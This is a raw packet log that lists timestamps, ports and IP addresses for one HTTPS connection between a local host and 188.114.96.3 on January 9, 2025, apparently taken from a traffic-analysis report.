Jan 9, 2025 09:31:23.159607887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.159646034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.160175085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160191059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160263062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.160269022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160725117 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160742998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160778999 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.160784006 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.160813093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.160835981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.183351994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.183367968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.183444023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.183450937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.183491945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.183907032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.183923960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.183979034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.183984995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.184921980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.185916901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.185949087 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.185981989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.185987949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.186013937 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.186038017 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.238431931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.238456011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.238538027 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.238549948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.238667011 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.239509106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.239525080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.239579916 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.239587069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.239612103 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.239624977 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.246536970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.246555090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.246608973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.246613979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.246773958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247010946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247025967 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247072935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247076035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247109890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247133970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247814894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247836113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247881889 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247886896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.247922897 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.247944117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.270387888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.270404100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.270493031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.270498991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.270544052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.272381067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.272420883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.272447109 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.272452116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.272483110 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.317776918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.317796946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.317848921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.317857981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.317877054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.317898989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.326047897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.326062918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.326148987 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.326153994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.326211929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.332931995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.332959890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333030939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.333034992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333070993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.333518982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333534956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333590031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.333595037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333659887 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.333905935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333923101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.333972931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.333977938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.334031105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.334630966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.334645987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.334696054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.334701061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.334758043 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.357392073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.357410908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.357506990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.357516050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.357583046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.359442949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.359457970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.359535933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.359540939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.359590054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.404694080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.404711962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.404798985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.404809952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.404848099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.412900925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.412919998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.413044930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.413050890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.413106918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.419756889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.419773102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.419847012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.419852018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.419944048 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.420178890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420193911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420238018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.420243979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420272112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.420284986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.420608997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420625925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420674086 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.420679092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.420736074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.421327114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.421341896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.421391010 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.421396017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.421448946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.444130898 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.444149971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.444211960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.444219112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.444257975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.446122885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.446140051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.446206093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.446211100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.446371078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.491589069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.491610050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.491750956 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.491761923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.491867065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.499768972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.499785900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.499917030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.499922037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.500021935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.506783962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.506798983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.506903887 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.506910086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.506984949 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.507107973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507122993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507185936 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.507191896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507298946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.507713079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507728100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507771969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.507776976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.507848978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.508733034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.508748055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.508794069 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.508805990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.508882046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.531070948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.531085968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.531292915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.531300068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.531420946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.532989025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.533024073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.533060074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.533065081 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.533088923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.533103943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.578428984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.578447104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.578505039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.578516960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.578574896 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.586621046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.586636066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.586694956 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.586703062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.586752892 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.593456030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.593471050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.593528032 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.593535900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.593600035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.593997002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594012976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594086885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.594090939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594127893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.594317913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594342947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594377995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.594382048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.594422102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.594440937 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.595123053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.595135927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.595182896 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.595190048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.595242023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.618000984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.618062973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.618092060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.618105888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.618127108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.618153095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.619925022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.619959116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.619988918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.619995117 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.620019913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.620047092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.665344954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.665366888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.665410042 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.665429115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.665448904 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.665468931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.673511028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.673527002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.673583031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.673590899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.673643112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.680496931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680548906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680561066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.680572033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680597067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.680627108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.680660963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680675030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680717945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.680721998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.680762053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.681147099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681160927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681200027 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.681205988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681236982 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.681261063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.681792974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681807995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681859970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.681869030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.681909084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.704937935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.705019951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.705032110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.705091000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.706778049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.706795931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.706860065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.706871033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.706909895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.756572962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.756644011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.756697893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.756716013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.756738901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.756758928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.761455059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.761472940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.761531115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.761540890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.761584997 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.767281055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.767347097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.767374039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.767433882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.767668009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.767683983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.767733097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.767739058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.767779112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.767992020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768007040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768049002 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.768055916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768088102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.768088102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.768758059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768773079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768841982 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.768846989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.768906116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.791837931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.791853905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.791915894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.791924000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.791958094 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.793567896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.793584108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.793629885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.793634892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.793678045 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.843240976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.843256950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.843368053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.843375921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.843420029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.848298073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.848340988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.848367929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.848372936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.848402023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.848418951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.854088068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854101896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854157925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.854161978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854233027 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.854684114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854712009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854737997 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.854742050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.854769945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.854788065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.855043888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855093956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855139017 CET	49723	443	192.168.2.6	188.114.96.3
